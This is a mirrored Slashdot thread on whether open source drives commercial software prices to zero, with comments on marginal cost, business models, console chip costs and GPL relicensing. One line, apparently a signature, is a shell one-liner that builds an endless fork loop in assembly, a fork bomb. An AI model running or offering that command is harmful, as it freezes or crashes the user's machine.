Slashdot Mirror
Is Open Source Software a Race To Zero?
gozunda writes "My company is an open source software vendor/developer. We maintain a popular open source project and keep ourselves afloat by producing commercial products derived from or extending the value of the core project. Over time we've seen our business model eroding as other open source projects produce free versions of the same extensions and utilities that are our bread and butter. Something that was worth $5K last year is suddenly worth $0 because the free version is just as good as the paid. This same cycle is obviously having an impact on pure-play commercial software vendors. Is open source ultimately a race to zero? In ten years will there be any cost associated with commodity (non-custom) software? If not, will there still be a 'software industry' as it exists today, or will software simply be a by-product of the operation of other industries? Is that a good thing or a bad thing? As a professional developer, do I need to fear this or feed it?"
marginal cost (I'm not entirely familiar with the term, but it appears to be approximately the cost of manufacture).
Marginal cost is the cost of making the next one of whatever you're selling. In software, this is a little tricky because the raw material cost of the next copy is bandwidth or the CD/DVD media. The marginal cost of the first copy is the big one... it absorbs all the cost of development.
So, in this way of analysis, software companies take a big loss developing the software, then can make it back by selling enough copies, then can afford to make it near-free because the sales are pure profit.
In the sense of "who pays for it and why" most software has always been a by-product of other industries. The stuff that isn't(mostly games and consumer utilities) is highly visible; but there just isn't that much of it(and, even then, much of what you are buying in your package of Quake or Quicken isn't software per se; but software wrapped around art or accounting expertise). Open Source, though, has really accelerated the move from the "who pays for it and why" sense to the "quite literally produced by" sense of by-product.
Whether this is a good or bad thing depends on who you are. For a substantial percentage of developers, it probably doesn't make much economic difference. Somebody always needs to write the software, whether those somebodies are all bunched together at SomeBodieSoft Inc. or spread across SomeBodieSoft's former customers. People who have invested in selling software are likely to suffer a net loss(as a whole: Redhat may be doing fine; but their gain will be less than Redmond's loss). People who have traditionally bought software will likely enjoy some gains, mostly captured from the losses of the sellers. I suspect that a certain number of software operations that are on the cutting edge will remain proprietary, and largely as they are today, as will producers of software packages that are mostly about non-software stuff(a big-name videogame, say, has economics much more like a movie than like an OS. Games will probably use more OSS plumbing and libraries and stuff; but will continue to be sold more like media).
Hear hear, just because software "as a product" is going bad, doesn't mean software won't make money.
There's software-as-a-service, software-as-internal-infrastructure, shareware, and possibly quite a few I haven't heard of yet either. Let's not become the MPAA or RIAA here, just because one business model failed(and presumably, some businesses) doesn't mean the end of the world if you can adapt.
I read that in the XBox vs Playstation 2 contest Sony were able to drop the cost faster than Microsoft because they owned the more of the IP of the chips, i.e. the processor and the GPU. The Xbox had an Intel CPU and a NVidia GPU, neither of which were made by Microsoft. Sony owned all the IP and eventually shipped slimline PS2 with the CPU and GPU in one chip.
With the XBox 360 Microsoft went for a 3 core IBM PPC design and an ATI GPU. In both cases Microsoft licensed the IP and subcontracts the manufacturing of the chips, the CPU is made by Chartered and the GPU is made by TSMC. Microsoft will make sure that both chips are die shrunk as aggressively as possible to cut costs, and maybe combine them at some point. In fact this was the main reason for switching from Intel and NVidia to IBM and ATI. Intel at least was unwilling to sell Microsoft a license to make x86 CPUs.
So I'd expect agressive price cuts on the XBox 360, that's what it was designed for from the start.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You're half correct. The author is under no obligation to continue to provide source for any project if they wish to change the license. HOWEVER, they also can't force the source of any previously GPL'd version of the software to be pulled from a third party's site either. The license change is only forward applicable, so any version previously GPL'd can always be forked and continued regardless of the wishes of the original author. Even under other licenses such as BSD the same applies except that the forks themselves can technically go closed source, but the original author can't force the removal of BSD-licensed source.
"People who think they know everything are very annoying to those of us who do."-Mark Twain